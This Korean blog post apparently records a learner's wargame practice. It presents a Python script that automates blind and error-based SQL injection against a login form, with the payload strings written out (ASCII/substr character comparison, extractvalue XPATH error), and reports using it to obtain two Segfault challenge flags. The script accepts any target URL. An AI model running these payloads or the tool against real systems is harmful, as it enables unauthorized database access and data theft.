Python

[Python] Python 을 이용한 SQLi 자동화

무너박사 2024. 5. 31. 23:04

 

※주의 : 본 포스팅에서는 <Segfault> 워게임중 SQL Injection 6 과 SQL Injection 3 내용을 담고있습니다!

 

지난 포스팅에서 Blind SQLi 덕분에 주화입마가 올뻔했다.

 

지난 포스팅 : 

https://jamesbexter.tistory.com/entry/Segfault-%EC%9B%8C%EA%B2%8C%EC%9E%84-%EB%AC%B8%EC%A0%9C%ED%92%80%EC%9D%B4-7%ED%8E%B8-Blind-SQL-Injection

 

<Segfault> 워게임 문제풀이 [7편]-Blind SQL Injection

->이번 문제는 Blind SQL Injection 을 연습하기 위한 목적이 강합니다.  Blind SQLi 에 대한 기본적인 내용은 이 게시물을 참고하시면 됩니다.https://jamesbexter.tistory.com/entry/SQL-InjectionSQLi 사이트에 접속

jamesbexter.tistory.com

 

그래서 Python 으로 Blind SQLi , Error SQLi 를 자동화하는 툴을 구현해봤다...아니 해야만 했다..

내가 한시간동안 한 단순노동이  5분으로 줄여졌을때 감격과 동시에 프로그래밍에서 단맛을 느꼈다...

 

                <목차>

  1. 대략적인 프로그램 구현계획 세우기
  2. 구현 및 코드 설명
  3. 워게임 사이트를 통한 프로그램 테스팅

(코드만 참고하시는 것 이라면 바로 2번으로 넘어가셔도 좋습니다)


<1. 대략적인 프로그램 구현계획 세우기>

{Blind SQLi 프로그램 계획}

 

일단 Burp Suite 를 이용하여 Blind SQLi 를 활용하는 워게임 사이트를 탐색해보자.

워게임은 Segfault 팀의 'SQL Injection 6' 문제를 사용했다.

 

(구현 포인트 찾기)

요청 응답

 

1번 . 보아하니 POST 로 UserId , Password , Submit 이라는 name 으로 요청을 보내고 있다.

2번 . 또한 로그인 실패시와 성공시에 응답이 서로 다른것을 볼수있다.

         로그인을 실패할 경우 Incorrect information 이라는 문구가 뜬다.

 

로그인실패

 

 

즉! Blind SQLi 에서는 참 거짓을 통한 문자열 추출을 로그인 성공,실패로 판단을 하였으니깐!

 

1. python 으로 POST 요청을 보내준 후

2. 응답중 Incorrect information 이라는 문구가 있는지 확인으로 로그인 성공,실패 유무를 판단할 수 있다.

3. 마지막으로 반복문을 통해서 돌다가 Incorrect information 이라는 문구가 처음 나오는 시점의 값을 아스키코드로 변환시켜 준 후 print 를 해주면 추출이 될 것 같다!

 

 


{Error based SQLi 프로그램 계획}

 

Blind SQLi 에선 Incorrect information 으로 추출포인트를 판단할 수 있었다.

얘는 어디서 확인할 수 있을지 판단해보자.

문법 오류 논리 오류

 

POST 요청시 보내는 변수이름

 

 

보시면 문법오류 , 논리오류 일 경우에 오류메세지 양상이 다르다.

저기서 완벽히 구분될 수 있는 단어는 XPATH 로 보인다.

또한 POST 변수 이름이 아까와 똑같이 UserId,Password,Submit 이라는 것을 알수있다.

 

그러면 대략 이렇게 계획을 세워볼 수 있겠다.

1. POST 방식으로 변수와 함께 요청을 보내준뒤

2. 오류 메세지 중 XPATH 란 단어가 나오면 XPATH Syntax error: 까지 읽어준 후 그 뒤에 문장을 전부 추출하면 되겠다!

 


 

<2. 구현 및 코드 설명>

 

import requests

def getchar():      #getchar() 함수 구현
    while True:
        user_input = input("\n\nEnter q to qtuit: ")
        if user_input.lower() =="q":
            break

def BlindSqli():    #BlindSqli 함수
     
    print('\n\n사용할 SQL 구문을 입력하시오 >> ',end=" ")
    SQL=input()
     #format ={'UserId' : "normaltic\' and ((ASCII(substr(("+SQL+"),1,1)))>0) and \'1\'=\'1",'Password' : '1234','Submit' : 'Login'}  #Blind SQL format
    
    for n in range (0,40) :     #반복문, 대략 찾고자 하는 문자열의 길이가 40자 이하라고 가정함. 더 많을것 같은면 40을 바꾸면된다.
        for i in range (0,127) :    # 아스키 문자 0번부터127번 까지 찾는 동작을 하는 반복문.
            format ={'UserId' : "normaltic\' and ((ASCII(substr(("+SQL+"),{},1)))>{}) and \'1\'=\'1".format(n,i),'Password' : '1234','Submit' : 'Login'}
            res = requests.post(url , data=format)

            #만약 Incorrect information 나오면 그때의 i에 해당하는 아스키 문자를 반환한다.
            if res.text.find('Incorrect information')!=-1:   
                print(chr(i),end="",flush=True) #flush 를 통해 실시간으로 버퍼를 해소한다.(쉽게말해 실시간으로 추출되는 문자 보기위함)
                break

def ErrorSqli():    #ErrorSqli 함수
     
    print('\n\n사용할 SQL 구문을 입력하시오 >> ',end=" ")
    SQL=input()

    #format =  normaltic' and extractvalue('1',concat(0x3a,(__SQL__))) and '1'='1

    format ={'UserId' : "normaltic' and extractvalue('1',concat(0x3a,("+SQL+"))) and '1'='1",'Password' : '1234','Submit' : 'Login'}
    res = requests.post(url , data=format)

    # 'XPATH; 라는 문자열의 시작인덱스는 1299인것을 확인! 우리가 필요한 인덱스 값은 1319이후 부터의 값이 필요!
    print(res.text.find('XPATH syntax error: \':')) 
    print(res.text[1319:])#배열 슬라이싱 기능을 사용하여 [1319:] 인덱스 1319부터 끝까지 문자열을 추출한다.




# 이 밑부터 main code ________________________________________________

print('<<공격하실 사이트를 입력하시오>> : ',end=" ")
url =input()

print('\n\n사용하실 SQLi 기법을 고르시오 1) Blind Sqli  2) Error Based SQLi  3) 종료 : ',end=" ")
mode=input()

if mode == '1':     #blind SQLi 시작
    while True:
        BlindSqli()
        print('\n_________________________________________________________________________') 
elif mode=='2':     #Error Based SQLi 시작
    while True:
        ErrorSqli()
        print('\n_________________________________________________________________________') 

#그 외에 값 입력시 바로 종료.

 

 

 

<부가 설명>

*초반에 URL 을 넣어주는 이유는?

=> 사이트를 바꿔줄때마다 코드수정하기 힘들어서 POST 로 보내는 변수이름이 같은 사이트는 그냥 저렇게 url 만 입력해주는것만으로 동작시키기 위해서 넣어봤습니다.

하지만 Segfault 워게임 사이트는 POST 변수의 이름이 다 같지만 , 만약 다른 워게임 사이트를 풀경우 코드수정을 통해 post 요청을 보낼 변수이름을 바꿔줘야 합니다!

 

* res.text.find('Incorrect information')  란?

=> request 요청을 하여 받아온 응답중에 Incorrect information 문구가 있으면 전체 문자중 Incorrect information 라는 단어가 시작하는 인덱스 값을 반환한다. 만약! Incorrect information 에 해당하는 문구가 없으면 -1 을 반환한다.

 

*배열슬라이싱 arr[a:b]

=> arr배열중 a인덱스 부터 b 인덱스 까지 출력을 한다. 만약 [a:] 면 a 인덱스부터 끝까지 라는 뜻.

 

*getchar() 은 안쓰는것 같은데 왜 선언한건지?

=> 만약 오류가 나면 getchar() 을 넣어보면서 동작을 멈춤으로써 어디서 오류가 났는지 확인하기 위함.

 

*input() 이 뭔가?

=> c언어에서의 scanf 기능이라고 생각하시면 쉽습니다.

값을 입력받는 함수입니다.

 

*format 부분 코드 짤려서 보입니다. 

=> 죄송합니다. 밑에 다시 써놓았습니다

 

<BlindSqli() 부분>

 format ={'UserId' : "normaltic\' and ((ASCII(substr(("+SQL+"),{},1)))>{}) and \'1\'=\'1".format(n,i),'Password' : '1234','Submit' : 'Login'}

 

<ErrorSqli() 부분>

format ={'UserId' : "normaltic' and extractvalue('1',concat(0x3a,("+SQL+"))) and '1'='1",'Password' : '1234','Submit' : 'Login'}

 

 

 

 


 

 

<3. 워게임 사이트를 통한 프로그램 테스팅>

 

{첫번째 : Blind Sqli}

 

 

{두번째 : Error based SQLi}

 

 

 

이 두가지의 flag 를 얻어내는데 4분도 안걸렸다!

근데 듣기론 알고리즘을 이용하면 이것보다 더 빠른속도로 출력이 된다는데 한번 찾아봐야 겠다..

앞으로 웬만한 반복작업은 python 을 사용해서 python 사용에 익숙해져야겠다!...

 


긴 글 읽어주셔서 감사합니다!